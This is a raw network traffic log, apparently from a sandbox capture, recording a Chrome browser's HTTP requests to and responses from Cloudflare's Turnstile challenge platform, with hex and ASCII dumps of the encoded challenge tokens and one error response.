2025-01-15 12:08:22 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:22 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9025c03698507c88-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:22 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 25 08 02 00 00 00 ee 96 0f 87 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49796	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:23 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:23 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:23 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9025c03a4e69435b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 25 08 02 00 00 00 ee 96 0f 87 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49797	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:24 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32080 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:24 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 35 63 30 32 31 37 65 66 39 30 66 38 35 3d 4d 50 71 78 36 35 45 52 47 32 50 24 50 24 4b 50 45 42 45 32 6f 54 25 32 62 42 24 38 24 75 31 24 4d 78 24 6e 62 4b 24 6e 78 68 50 45 38 74 63 24 72 36 24 66 71 6f 78 24 4b 71 24 74 78 66 4a 53 45 34 24 69 78 45 53 32 24 5a 6e 35 44 32 4d 6a 24 62 61 24 72 43 6e 45 2b 24 45 6e 53 58 24 4d 33 70 50 24 4b 37 6e 6a 54 6e 24 31 78 45 79 57 24 74 53 45 74 24 2b 71 45 31 53 31 24 66 79 24 32 78 72 6f 24 59 47 33 5a 54 54 76 68 24 30 4b 54 45 30 68 61 24 34 4a 63 59 72 68 44 73 39 2d 6a 37 24 62 39 58 56 7a 56 42 69 42 7a 24 45 74 6a 58 79 72 4b 79 64 71 6e 24 32 4a 51 55 24 54 42 35 72 74 6e 24 71 4c 45 53 78 6a 32 61 4e 78 6e 53 36 6b 79 6c 53 55 72 24 74 58 64 64 4f 74 65 65 6d 4f 4d 61 54 69 6a 54 4a 55 Data Ascii: v_9025c0217ef90f85=MPqx65ERG2P$P$KPEBE2oT%2bB$8$u1$Mx$nbK$nxhPE8tc$r6$fqox$Kq$txfJSE4$ixES2$Zn5D2Mj$ba$rCnE+$EnSX$M3pP$K7njTn$1xEyW$tSEt$+qE1S1$fy$2xro$YG3ZTTvh$0KTE0ha$4JcYrhDs9-j7$b9XVzVBiBz$EtjXyrKydqn$2JQU$TB5rtn$qLESxj2aNxnS6kylSUr$tXddOteemOMaTijTJU
2025-01-15 12:08:24 UTC	15696	OUT	Data Raw: 24 7a 77 4b 77 63 24 42 51 35 6e 45 42 24 68 24 5a 6e 74 67 43 48 56 48 4d 37 53 76 24 32 78 62 71 24 52 24 74 52 35 58 24 31 24 35 4f 45 4a 24 74 50 24 6b 45 51 24 54 78 68 71 35 30 71 52 78 71 47 62 37 78 71 24 34 47 35 4a 24 34 78 2b 47 45 30 24 76 24 30 53 45 4f 24 65 78 72 24 24 34 24 59 76 64 6e 24 24 24 4f 61 53 45 70 24 68 6f 37 6e 35 5a 78 44 6e 24 70 62 45 24 2b 24 4e 55 35 4c 24 4c 47 2b 41 35 42 78 64 6e 71 50 62 51 24 49 78 2b 24 35 30 6c 76 24 4e 49 45 41 24 4e 47 2b 41 45 42 24 2d 32 34 5a 24 61 78 76 78 24 78 45 4b 24 63 50 30 7a 62 44 24 35 78 35 65 73 51 24 55 71 66 79 35 67 6e 38 54 72 54 62 56 71 44 24 66 6e 45 42 24 64 64 39 78 24 56 6e 55 56 44 54 35 2b 24 6f 44 72 71 42 57 24 44 24 32 50 62 6e 78 4e 47 24 78 35 61 24 54 78 53 52 62 Data Ascii: $zwKwc$BQ5nEB$h$ZntgCHVHM7Sv$2xbq$R$tR5X$1$5OEJ$tP$kEQ$Txhq50qRxqGb7xq$4G5J$4x+GE0$v$0SEO$exr$$4$Yvdn$$$OaSEp$ho7n5ZxDn$pbE$+$NU5L$LG+A5BxdnqPbQ$Ix+$50lv$NIEA$NG+AEB$-24Z$axvx$xEK$cP0zbD$5x5esQ$Uqfy5gn8TrTbVqD$fnEB$dd9x$VnUVDT5+$oDrqBW$D$2PbnxNG$x5a$TxSRb
2025-01-15 12:08:24 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:24 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26312 Connection: close cf-chl-gen: jwNir2yU7CDQpGh9jc+zr3nB8Q65Iri3pZJ/y7s/1FdAtFhmajqLxwzOSxis5IqF$ZJAdk9ubVPGFssBafRe08g== Server: cloudflare CF-RAY: 9025c03fbe1a0f5f-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:24 UTC	1047	IN	Data Raw: 71 72 2b 79 74 34 43 68 6c 6f 61 65 79 70 61 49 70 4d 43 46 6f 4d 65 6e 79 63 6d 70 6f 4b 50 4e 72 61 53 5a 6d 63 53 6f 7a 61 36 34 6d 5a 53 35 74 4e 6d 31 31 2b 66 54 77 4b 62 70 71 39 66 51 33 50 43 37 33 76 4f 30 39 37 2f 7a 38 37 6a 4a 2f 65 62 72 2b 4c 7a 4e 76 64 6e 33 31 4e 38 4a 38 74 66 39 77 2f 76 58 44 67 73 4f 2b 74 7a 52 46 42 45 42 45 77 6b 55 45 75 62 37 36 50 73 4a 47 76 7a 77 34 77 50 75 49 78 6f 57 45 75 4d 43 49 67 6e 6e 49 66 30 52 47 2b 38 53 4b 67 41 52 44 52 67 36 4d 68 30 4d 4e 68 67 64 48 76 6f 69 51 42 55 69 2b 52 6f 6b 49 30 51 48 43 54 34 71 47 6c 41 30 44 43 52 47 51 30 45 51 55 53 31 5a 52 54 4d 61 45 6b 6c 4e 49 79 77 77 49 6b 46 56 58 6a 73 35 52 6d 49 70 57 31 6c 6c 61 6a 77 79 4c 7a 4a 67 56 7a 5a 35 65 33 51 76 66 6a 5a Data Ascii: qr+yt4ChloaeypaIpMCFoMenycmpoKPNraSZmcSoza64mZS5tNm11+fTwKbpq9fQ3PC73vO097/z87jJ/ebr+LzNvdn31N8J8tf9w/vXDgsO+tzRFBEBEwkUEub76PsJGvzw4wPuIxoWEuMCIgnnIf0RG+8SKgARDRg6Mh0MNhgdHvoiQBUi+RokI0QHCT4qGlA0DCRGQ0EQUS1ZRTMaEklNIywwIkFVXjs5RmIpW1llajwyLzJgVzZ5e3QvfjZ
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 55 73 64 47 6f 6f 62 43 74 32 74 61 37 6c 4c 69 34 33 37 65 69 31 38 48 68 74 75 69 66 31 64 2f 4c 75 2b 4f 71 36 75 33 68 72 37 4f 73 74 4b 33 42 34 39 66 6b 31 63 72 64 33 4e 66 39 32 38 44 51 39 77 50 37 77 74 6a 6a 38 2b 58 65 33 4f 72 6e 42 51 33 30 7a 68 66 30 38 76 45 55 39 4f 50 38 7a 2f 6a 65 45 76 50 61 33 50 6f 6e 48 76 4d 58 4a 76 63 59 49 2f 33 38 2f 41 2f 70 49 42 33 77 37 78 38 79 46 79 51 6f 48 50 49 7a 2b 78 30 65 46 6a 73 30 42 51 38 36 47 41 41 66 4c 41 64 43 4c 77 35 41 50 46 4d 79 56 53 63 2b 4d 54 42 5a 53 54 45 35 55 44 30 71 46 68 70 5a 58 55 42 58 4d 46 51 33 4a 6a 59 34 53 44 70 68 5a 57 46 6c 58 32 4a 42 52 32 52 78 5a 32 4d 34 56 47 52 32 65 30 70 71 4f 6c 6c 2b 55 6d 52 36 58 58 31 78 68 48 71 4d 54 49 5a 6e 54 31 31 77 53 30 Data Ascii: UsdGoobCt2ta7lLi437ei18Hhtuif1d/Lu+Oq6u3hr7OstK3B49fk1crd3Nf928DQ9wP7wtjj8+Xe3OrnBQ30zhf08vEU9OP8z/jeEvPa3PonHvMXJvcYI/38/A/pIB3w7x8yFyQoHPIz+x0eFjs0BQ86GAAfLAdCLw5APFMyVSc+MTBZSTE5UD0qFhpZXUBXMFQ3JjY4SDphZWFlX2JBR2RxZ2M4VGR2e0pqOll+UmR6XX1xhHqMTIZnT11wS0
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 6d 71 53 58 33 4e 69 2f 76 73 79 63 31 4b 57 32 35 71 47 6b 33 65 6e 64 34 74 2b 6d 76 4e 6e 4b 77 62 36 2b 30 76 4c 58 34 2f 66 4e 78 73 33 76 7a 75 37 7a 38 41 58 52 30 76 6e 76 33 67 72 6a 43 51 6e 4b 42 4d 76 2b 43 4f 44 69 42 67 48 67 47 4e 6a 74 35 67 33 74 42 76 62 34 2b 51 37 5a 42 41 48 31 4a 39 37 6b 42 67 44 71 4b 78 6e 38 41 78 49 73 42 51 63 41 41 52 41 72 37 69 63 35 42 79 38 59 4e 41 77 68 4b 6a 63 6c 50 7a 49 54 46 68 49 42 4d 78 67 36 52 44 67 73 51 69 45 69 4d 54 41 65 49 30 39 46 53 42 4d 79 4f 46 55 71 4e 6d 4a 52 51 7a 70 53 4d 54 6f 2f 56 53 67 39 62 47 46 6f 61 46 31 52 61 6b 56 66 4d 47 34 70 54 57 4e 50 56 6c 56 4d 53 46 74 52 57 6a 78 56 58 48 70 77 57 54 35 54 53 57 78 47 51 32 31 49 66 45 68 62 55 59 39 56 62 59 70 33 59 6e 4f Data Ascii: mqSX3Ni/vsyc1KW25qGk3end4t+mvNnKwb6+0vLX4/fNxs3vzu7z8AXR0vnv3grjCQnKBMv+CODiBgHgGNjt5g3tBvb4+Q7ZBAH1J97kBgDqKxn8AxIsBQcAARAr7ic5By8YNAwhKjclPzITFhIBMxg6RDgsQiEiMTAeI09FSBMyOFUqNmJRQzpSMTo/VSg9bGFoaF1RakVfMG4pTWNPVlVMSFtRWjxVXHpwWT5TSWxGQ21IfEhbUY9VbYp3YnO
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 4a 36 68 30 4e 4b 6c 7a 38 61 37 36 39 2f 55 70 39 72 61 30 4c 76 50 38 4e 37 78 37 50 58 68 34 66 66 35 75 63 33 78 7a 64 6a 79 41 64 7a 63 34 75 51 4a 2f 62 75 38 42 65 44 46 35 39 73 48 7a 75 45 46 35 50 4c 50 43 42 45 52 46 42 7a 58 43 42 6e 75 2b 68 67 41 37 2f 30 47 43 50 72 78 34 42 2f 7a 47 79 55 75 47 4f 73 77 45 2f 73 54 4d 69 73 4a 44 68 62 32 39 2f 55 52 46 67 7a 35 46 69 4d 33 44 7a 46 43 4f 67 42 45 4b 67 52 4f 46 30 55 6b 51 6b 74 49 4c 52 30 68 56 30 4e 59 56 55 30 39 55 46 46 4f 48 45 30 72 50 30 4d 36 56 78 34 6c 57 57 42 4c 50 6a 55 2f 4f 6c 6c 6b 4f 6b 38 71 53 7a 4e 77 5a 6e 4e 36 54 58 4a 50 64 33 70 2f 65 48 4e 78 65 56 6c 45 58 48 35 35 69 57 69 48 56 55 35 4d 53 47 42 71 5a 32 70 76 54 59 79 56 61 34 36 4c 68 6c 32 54 6d 70 57 61 Data Ascii: J6h0NKlz8a769/Up9ra0LvP8N7x7PXh4ff5uc3xzdjyAdzc4uQJ/bu8BeDF59sHzuEF5PLPCBERFBzXCBnu+hgA7/0GCPrx4B/zGyUuGOswE/sTMisJDhb29/URFgz5FiM3DzFCOgBEKgROF0UkQktILR0hV0NYVU09UFFOHE0rP0M6Vx4lWWBLPjU/OllkOk8qSzNwZnN6TXJPd3p/eHNxeVlEXH55iWiHVU5MSGBqZ2pvTYyVa46Lhl2TmpWa
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 62 41 32 63 4f 71 32 61 44 58 34 4b 36 2f 37 63 76 4c 78 39 48 53 30 76 58 33 32 2b 66 6d 30 67 44 76 2f 4e 54 64 38 2f 76 5a 43 65 45 43 33 73 76 4c 35 73 6a 35 32 74 34 55 43 41 67 45 42 2b 6a 32 32 76 76 70 45 52 6f 42 48 4f 38 55 42 43 41 55 46 51 4d 48 38 2b 45 57 39 53 6b 72 4c 51 30 65 41 69 54 79 4c 66 34 69 44 68 67 59 42 77 6b 76 4d 44 4d 31 45 54 41 51 4e 68 63 48 47 50 6f 72 51 41 63 68 48 41 5a 4c 4a 43 30 62 55 45 46 48 54 42 56 53 4b 55 73 59 47 78 78 49 58 46 78 4f 48 52 77 34 5a 7a 59 69 5a 47 70 72 61 57 64 45 63 47 35 46 57 6a 49 74 4d 30 31 44 63 30 35 56 63 54 4e 33 62 30 75 41 62 56 31 68 67 6e 39 2b 51 34 56 49 63 32 69 4c 65 49 64 2b 69 6e 31 77 54 70 4f 52 69 34 78 52 67 34 74 6c 6c 6f 69 48 6b 4a 31 33 6c 6d 4e 66 5a 48 57 50 5a Data Ascii: bA2cOq2aDX4K6/7cvLx9HS0vX32+fm0gDv/NTd8/vZCeEC3svL5sj52t4UCAgEB+j22vvpERoBHO8UBCAUFQMH8+EW9SkrLQ0eAiTyLf4iDhgYBwkvMDM1ETAQNhcHGPorQAchHAZLJC0bUEFHTBVSKUsYGxxIXFxOHRw4ZzYiZGpraWdEcG5FWjItM01Dc05VcTN3b0uAbV1hgn9+Q4VIc2iLeId+in1wTpORi4xRg4tlloiHkJ13lmNfZHWPZ
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 50 7a 74 7a 63 30 61 7a 48 33 39 4f 78 35 4f 4c 5a 78 39 37 70 33 4d 37 72 75 2b 48 33 30 74 37 38 35 73 4c 30 42 63 6a 47 41 51 66 4e 34 77 72 38 39 65 76 78 44 39 58 33 43 68 55 46 47 52 6f 59 46 66 63 50 48 50 41 48 46 67 6e 67 4b 52 51 49 4a 43 6b 4b 45 65 67 70 45 77 6b 6f 37 52 4d 5a 4f 68 73 6a 47 42 6f 49 4b 6a 63 54 51 6a 67 34 41 6b 59 37 4d 43 63 44 52 45 51 4b 4a 44 6c 4a 44 51 70 45 53 55 31 46 4a 54 67 33 52 55 55 36 46 54 42 49 50 42 70 4e 53 30 49 77 52 31 4a 46 4e 31 51 6b 53 6d 41 37 52 32 56 5a 58 6d 68 71 55 32 6c 79 63 44 5a 32 62 58 4d 35 65 6e 52 31 55 6e 56 30 65 58 31 31 56 57 68 6e 64 58 56 71 52 57 42 34 62 45 70 39 65 33 4a 67 64 34 4a 31 5a 34 52 55 65 70 42 72 64 35 57 4a 66 4a 69 64 68 71 4b 69 6e 6d 4b 64 70 71 52 71 71 71 Data Ascii: Pztzc0azH39Ox5OLZx97p3M7ru+H30t785sL0BcjGAQfN4wr89evxD9X3ChUFGRoYFfcPHPAHFgngKRQIJCkKEegpEwko7RMZOhsjGBoIKjcTQjg4AkY7MCcDREQKJDlJDQpESU1FJTg3RUU6FTBIPBpNS0IwR1JFN1QkSmA7R2VZXmhqU2lycDZ2bXM5enR1UnV0eX11VWhndXVqRWB4bEp9e3Jgd4J1Z4RUepBrd5WJfJidhqKinmKdpqRqqq
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 35 75 37 67 31 39 76 79 7a 76 33 35 39 62 33 58 38 2f 72 57 34 2f 54 2b 32 66 30 41 41 39 37 66 2f 67 66 34 2f 51 51 4c 44 64 38 4b 44 41 45 47 43 68 4c 75 38 78 6b 57 38 76 63 57 47 78 33 33 43 42 2f 6c 2b 78 38 6a 46 66 73 71 4a 67 4d 79 4b 43 73 47 4b 69 77 78 49 53 59 75 4d 7a 55 63 4e 44 59 70 48 44 55 34 4c 53 34 38 50 68 74 4b 4f 30 4e 46 4c 45 70 48 4f 54 41 30 53 30 30 2b 52 6b 34 72 4c 45 78 53 52 54 42 50 56 7a 4a 57 56 31 6f 33 51 46 68 66 55 55 42 5a 5a 56 56 49 58 32 52 5a 57 6d 52 72 58 56 52 72 62 6b 74 6d 64 6e 4e 6c 54 47 42 32 61 57 42 39 65 6d 31 51 64 33 39 62 69 6e 36 46 58 6f 4b 45 68 6f 6c 63 67 6f 74 53 66 6f 75 4f 67 57 68 38 6b 6f 57 47 6b 70 64 65 6a 70 4f 61 6e 59 36 57 6e 4a 46 30 6e 71 4a 71 72 70 36 70 6d 59 69 6c 71 6e 47 Data Ascii: 5u7g19vyzv359b3X8/rW4/T+2f0AA97f/gf4/QQLDd8KDAEGChLu8xkW8vcWGx33CB/l+x8jFfsqJgMyKCsGKiwxISYuMzUcNDYpHDU4LS48PhtKO0NFLEpHOTA0S00+Rk4rLExSRTBPVzJWV1o3QFhfUUBZZVVIX2RZWmRrXVRrbktmdnNlTGB2aWB9em1Qd39bin6FXoKEholcgotSfouOgWh8koWGkpdejpOanY6WnJF0nqJqrp6pmYilqnG
2025-01-15 12:08:24 UTC	1369	IN	Data Raw: 2b 33 6f 38 39 76 4f 32 4e 65 37 39 66 44 37 34 77 59 42 33 77 51 41 7a 41 6a 65 2b 66 33 70 30 41 6f 4d 44 65 51 56 44 78 48 33 47 67 41 58 38 67 6f 4e 2f 64 30 4f 45 76 33 6b 48 69 41 6a 36 43 34 51 43 52 6b 68 4b 43 6b 51 4d 68 67 50 47 67 37 35 46 76 6a 30 50 7a 4a 43 51 52 59 62 4a 68 70 48 50 52 70 4b 4c 43 49 4b 50 41 70 45 4c 45 4a 4a 4b 6a 5a 49 45 31 41 6b 46 7a 77 7a 56 55 31 55 56 54 77 55 52 44 70 63 5a 6b 67 2f 4a 6c 67 71 59 45 68 75 5a 55 64 53 5a 44 4e 73 51 45 68 59 54 48 46 70 63 48 46 59 64 6d 42 5a 59 6f 46 35 57 58 64 44 65 6d 4a 62 65 59 43 42 61 47 42 77 5a 59 4e 50 68 6d 35 6d 6c 6e 68 74 69 31 65 4e 64 6d 2b 4e 6c 4a 56 38 57 34 52 35 6c 32 4f 5a 67 6e 71 71 6a 49 47 66 61 36 53 4b 67 36 47 6f 71 5a 43 32 6d 49 32 72 64 37 43 57 Data Ascii: +3o89vO2Ne79fD74wYB3wQAzAje+f3p0AoMDeQVDxH3GgAX8goN/d0OEv3kHiAj6C4QCRkhKCkQMhgPGg75Fvj0PzJCQRYbJhpHPRpKLCIKPApELEJJKjZIE1AkFzwzVU1UVTwURDpcZkg/JlgqYEhuZUdSZDNsQEhYTHFpcHFYdmBZYoF5WXdDemJbeYCBaGBwZYNPhm5mlnhti1eNdm+NlJV8W4R5l2OZgnqqjIGfa6SKg6GoqZC2mI2rd7CW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49798	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:25 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:25 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 12:08:25 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: k4tyhA1frEgj3m23wJ+BWr8pMqVx6IttMQTTBhsemEILLMdRZ8q0Jb+hYrdAFGUwFHc7mXOj908GOhDYFrfCsQ==$lKydHhGzWyYulFqeJmO9ng== Server: cloudflare CF-RAY: 9025c0450a0618b8-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:25 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49799	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:30 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34531 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:30 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 35 63 30 32 31 37 65 66 39 30 66 38 35 3d 4d 50 71 78 36 35 45 52 47 32 50 24 50 24 4b 50 45 42 45 32 6f 54 25 32 62 42 24 38 24 75 31 24 4d 78 24 6e 62 4b 24 6e 78 68 50 45 38 74 63 24 72 36 24 66 71 6f 78 24 4b 71 24 74 78 66 4a 53 45 34 24 69 78 45 53 32 24 5a 6e 35 44 32 4d 6a 24 62 61 24 72 43 6e 45 2b 24 45 6e 53 58 24 4d 33 70 50 24 4b 37 6e 6a 54 6e 24 31 78 45 79 57 24 74 53 45 74 24 2b 71 45 31 53 31 24 66 79 24 32 78 72 6f 24 59 47 33 5a 54 54 76 68 24 30 4b 54 45 30 68 61 24 34 4a 63 59 72 68 44 73 39 2d 6a 37 24 62 39 58 56 7a 56 42 69 42 7a 24 45 74 6a 58 79 72 4b 79 64 71 6e 24 32 4a 51 55 24 54 42 35 72 74 6e 24 71 4c 45 53 78 6a 32 61 4e 78 6e 53 36 6b 79 6c 53 55 72 24 74 58 64 64 4f 74 65 65 6d 4f 4d 61 54 69 6a 54 4a 55 Data Ascii: v_9025c0217ef90f85=MPqx65ERG2P$P$KPEBE2oT%2bB$8$u1$Mx$nbK$nxhPE8tc$r6$fqox$Kq$txfJSE4$ixES2$Zn5D2Mj$ba$rCnE+$EnSX$M3pP$K7njTn$1xEyW$tSEt$+qE1S1$fy$2xro$YG3ZTTvh$0KTE0ha$4JcYrhDs9-j7$b9XVzVBiBz$EtjXyrKydqn$2JQU$TB5rtn$qLESxj2aNxnS6kylSUr$tXddOteemOMaTijTJU
2025-01-15 12:08:30 UTC	16384	OUT	Data Raw: 24 7a 77 4b 77 63 24 42 51 35 6e 45 42 24 68 24 5a 6e 74 67 43 48 56 48 4d 37 53 76 24 32 78 62 71 24 52 24 74 52 35 58 24 31 24 35 4f 45 4a 24 74 50 24 6b 45 51 24 54 78 68 71 35 30 71 52 78 71 47 62 37 78 71 24 34 47 35 4a 24 34 78 2b 47 45 30 24 76 24 30 53 45 4f 24 65 78 72 24 24 34 24 59 76 64 6e 24 24 24 4f 61 53 45 70 24 68 6f 37 6e 35 5a 78 44 6e 24 70 62 45 24 2b 24 4e 55 35 4c 24 4c 47 2b 41 35 42 78 64 6e 71 50 62 51 24 49 78 2b 24 35 30 6c 76 24 4e 49 45 41 24 4e 47 2b 41 45 42 24 2d 32 34 5a 24 61 78 76 78 24 78 45 4b 24 63 50 30 7a 62 44 24 35 78 35 65 73 51 24 55 71 66 79 35 67 6e 38 54 72 54 62 56 71 44 24 66 6e 45 42 24 64 64 39 78 24 56 6e 55 56 44 54 35 2b 24 6f 44 72 71 42 57 24 44 24 32 50 62 6e 78 4e 47 24 78 35 61 24 54 78 53 52 62 Data Ascii: $zwKwc$BQ5nEB$h$ZntgCHVHM7Sv$2xbq$R$tR5X$1$5OEJ$tP$kEQ$Txhq50qRxqGb7xq$4G5J$4x+GE0$v$0SEO$exr$$4$Yvdn$$$OaSEp$ho7n5ZxDn$pbE$+$NU5L$LG+A5BxdnqPbQ$Ix+$50lv$NIEA$NG+AEB$-24Z$axvx$xEK$cP0zbD$5x5esQ$Uqfy5gn8TrTbVqD$fnEB$dd9x$VnUVDT5+$oDrqBW$D$2PbnxNG$x5a$TxSRb
2025-01-15 12:08:30 UTC	1763	OUT	Data Raw: 24 6f 47 74 56 69 6f 24 34 6e 45 4e 62 6c 55 36 24 4d 35 6a 45 36 31 4b 24 44 64 76 6b 71 52 72 6f 74 70 70 61 54 6d 56 37 34 71 4d 6d 4c 42 62 57 55 76 50 45 69 4c 71 24 39 69 57 76 62 4c 62 52 24 45 4d 67 39 24 41 50 2b 73 24 75 24 48 68 63 4b 39 44 24 5a 31 57 4d 67 30 24 4c 69 76 34 79 6f 24 41 53 4e 2b 24 42 45 63 55 55 72 38 51 24 69 24 68 42 32 7a 75 6b 36 5a 37 6f 68 55 4a 78 66 52 35 6f 64 6f 78 6d 7a 5a 44 24 6f 47 32 36 6d 6b 24 35 49 32 30 62 77 76 49 53 42 38 45 2d 24 78 6d 4f 6c 4b 6a 24 43 79 53 45 4f 4b 33 53 24 4e 2d 76 33 32 65 35 63 49 56 6d 34 35 78 74 77 4f 4f 24 31 6f 53 45 4f 47 54 52 4b 4c 30 32 66 2d 42 57 4c 4c 63 35 24 6d 51 54 50 72 66 2d 70 6e 31 52 45 45 52 41 59 71 34 24 71 31 47 34 72 54 24 67 24 4c 30 6c 31 70 2b 24 55 78 Data Ascii: $oGtVio$4nENblU6$M5jE61K$DdvkqRrotppaTmV74qMmLBbWUvPEiLq$9iWvbLbR$EMg9$AP+s$u$HhcK9D$Z1WMg0$Liv4yo$ASN+$BEcUUr8Q$i$hB2zuk6Z7ohUJxfR5odoxmzZD$oG26mk$5I20bwvISB8E-$xmOlKj$CySEOK3S$N-v32e5cIVm45xtwOO$1oSEOGTRKL02f-BWLLc5$mQTPrf-pn1REERAYq4$q1G4rT$g$L0l1p+$Ux
